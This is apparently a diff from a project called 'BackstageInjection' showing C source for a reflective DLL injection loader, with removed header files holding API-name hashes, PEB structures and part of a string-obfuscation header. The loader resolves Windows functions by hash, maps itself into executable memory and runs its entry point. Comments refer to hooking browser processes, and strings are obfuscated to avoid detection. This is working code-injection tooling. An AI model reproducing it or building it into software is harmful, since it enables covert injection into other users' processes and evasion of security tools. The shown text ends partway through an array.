HINSTANCE hAppInstance = NULL;
// Store the parameter passed to ReflectiveLoader so DllMain can access it
LPVOID g_lpReflectiveParameter = NULL;
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#define RDI_NOINLINE __declspec(noinline)
#else
#define RDI_NOINLINE __attribute__((noinline))
#endif
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return 0;
#endif
}
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef WIN_X64
FARPROC pRtlAddFunctionTable = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE*)uiValueB) - 0x20;
else
uiValueC += *((BYTE*)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
#ifdef WIN_X64
// Resolve RtlAddFunctionTable so we can register exception unwind data.
// Without this, stack unwinding through our hook functions crashes browsers.
{
HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
if (hNtdll)
pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
}
#endif
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.).
// Without this check, every subsequent write to uiBaseAddress would be a
// write through NULL — an access violation in the remote process.
if (!uiBaseAddress)
return 0;
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 5b: register exception function table (.pdata) with the OS.
// Reflective loading bypasses the normal loader which would do this via
// LdrpInsertDataTableEntry. Without registration, any exception that
// unwinds through our hook functions causes STATUS_ACCESS_VIOLATION.
#ifdef WIN_X64
if (pRtlAddFunctionTable)
{
PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
{
PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if (pExcDir->VirtualAddress && pExcDir->Size)
{
typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
((RTLADDFNTABLE)pRtlAddFunctionTable)(
(PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
pExcDir->Size / sizeof(RUNTIME_FUNCTION),
(DWORD64)uiBaseAddress
);
}
}
}
#endif
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
// Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list).
if (pNtFlushInstructionCache)
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// Store the parameter globally so DllMain can access it
g_lpReflectiveParameter = lpParameter;
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
BackstageInjection/src/ReflectiveLoader.h
-215
View File
@@ -1,215 +0,0 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
BackstageInjection/src/obfstr.h
-57
View File
@@ -1,57 +0,0 @@
#pragma once
#include <string.h>
#include <malloc.h>
#ifdef __cplusplus
extern "C" {
#endif
#define OBFS_KEY 16
#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
static inline char* obfs_dec(char* buf, int len)
{
for (int i = 0; i < len; i++)
buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
return buf;
}
#ifdef _MSC_VER
#define OBFS(arr) \
obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
(int)(sizeof(arr) - 1))
#else
#define OBFS(arr) \
obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
(int)(sizeof(arr) - 1))
#endif
// ---- Encrypted string arrays ----
// Use _OBF_CHR() for each character so the compiler folds to constants.
static const unsigned char _enc_ReflectiveLoader[] = {
